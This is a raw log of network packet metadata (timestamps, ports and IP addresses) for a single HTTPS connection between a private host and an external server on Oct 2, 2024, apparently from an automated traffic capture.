Oct 2, 2024 05:20:25.073194981 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.073234081 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.094902992 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.094918013 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.094995975 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.095021963 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.095062971 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.104933977 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.104948044 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.105010033 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.105016947 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.105073929 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.114918947 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.114968061 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.114991903 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.114998102 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.115029097 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.115048885 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.129991055 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.130004883 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.130098104 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.130106926 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.130151987 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.135216951 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.135231018 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.135293007 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.135299921 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.135339975 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.142843008 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.142857075 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.142921925 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.142930984 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.142956972 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.142978907 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.158435106 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.158451080 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.159262896 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.159270048 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.159353971 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.165357113 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.165371895 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.165455103 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.165462017 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.165510893 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.187767029 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.187783957 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.187861919 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.187872887 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.187913895 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.197381973 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.197401047 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.197480917 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.197488070 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.197535038 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.207541943 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.207557917 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.207633972 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.207640886 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.207683086 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.223067045 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.223083973 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.223169088 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.223175049 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.223216057 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.227669954 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.227686882 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.227756977 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.227766037 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.227808952 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.235519886 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.235537052 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.235604048 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.235610962 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.235651970 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.251156092 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.251172066 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.251230001 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.251238108 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.251277924 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.258244038 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.258261919 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.258315086 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.258322001 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.258361101 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.280759096 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.280774117 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.280846119 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.280852079 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.280894041 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.289901972 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.289918900 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.290011883 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.290019035 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.290062904 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.300187111 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.300200939 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.300263882 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.300271034 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.300311089 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.315336943 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.315352917 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.315411091 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.315421104 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.315462112 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.320420027 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.320441008 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.320554018 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.320560932 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.320631981 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.328128099 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.328144073 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.328206062 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.328212976 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.328253031 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.343816042 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.343832016 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.343895912 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.343904018 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.343946934 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.350918055 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.350934029 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.350987911 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.350995064 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.351035118 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.383208036 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.383229971 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.383285999 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.383294106 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.383332968 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.384563923 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.384588957 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.384613037 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.384619951 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.384650946 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.384665012 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.394119024 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.394134998 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.394201040 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.394207954 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.394247055 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.411077976 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.411092997 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.411163092 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.411175013 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.411216021 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.413005114 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.413019896 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.413069010 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.413077116 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.413116932 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.420758009 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.420773029 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.420815945 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.420821905 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.420861006 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.436549902 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.436567068 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.436626911 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.436640024 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.436678886 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.465059996 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.465076923 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.465131044 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.465147018 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.465188980 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.474809885 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.474826097 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.474890947 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.474898100 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.474937916 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.475733995 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.475749016 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.475794077 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.475804090 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.475815058 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.475841045 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.487052917 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.487068892 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.487128973 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.487138033 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.487176895 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.500780106 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.500794888 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.500852108 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.500859976 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.500901937 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.506443977 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.506458998 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.506524086 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.506531954 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.506570101 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.513931990 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.513950109 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.514034986 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.514043093 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.514090061 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.529197931 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.529213905 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.529279947 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.529287100 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.529324055 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.558404922 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.558427095 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.558474064 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.558480024 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.558521032 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.567389965 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.567404985 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.567470074 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.567476988 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.567517996 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.568321943 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.568336010 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.568388939 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.568396091 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.568435907 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.578775883 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.578790903 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.578934908 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.578934908 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.578943014 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.578977108 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.593566895 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.593583107 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.593632936 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.593642950 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.593687057 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.606817007 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.606831074 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.606867075 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.606873035 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.606898069 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.606910944 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.608258009 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.608272076 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.608314037 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.608320951 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.608355045 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.651493073 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.651506901 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.651556015 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.651566029 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.651576042 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.651602983 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.652636051 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.652651072 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.652683973 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.652689934 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.652715921 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.652723074 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.660212040 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.660231113 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.660259962 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.660269022 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.660289049 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.660310984 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.670811892 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.670826912 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.670876026 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.670882940 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.671097040 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.685447931 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.685462952 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.685636997 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.685645103 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.685688972 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.691627979 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.691643953 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.691684008 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.691690922 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.691708088 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.691730976 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.698599100 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.698612928 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.698661089 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.698678970 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.698714972 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.699280024 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.699292898 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.699440956 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.699450016 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.699496031 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.745069981 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.745091915 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.745295048 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.745307922 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.745352983 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.745469093 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.745482922 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.745537043 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.745543957 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.745584965 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.752698898 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.752713919 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.752793074 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.752804995 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.752847910 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.764802933 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.764818907 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.764875889 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.764883041 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.765047073 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.779031992 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.779055119 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.779110909 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.779118061 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.779279947 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.784408092 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.784425020 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.784476995 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.784483910 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.784506083 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.784528017 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.792057991 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.792072058 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.792119980 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.792125940 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.792148113 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.792170048 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.836453915 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.836471081 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.836653948 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.836678982 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.836718082 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.837270021 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.837284088 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.837457895 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.837466002 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.837516069 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.838202953 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.838217020 CEST	443	49799	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:25.838278055 CEST	49799	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:25.838285923 CEST	443	49799	49.12.197.9	192.168.2.4
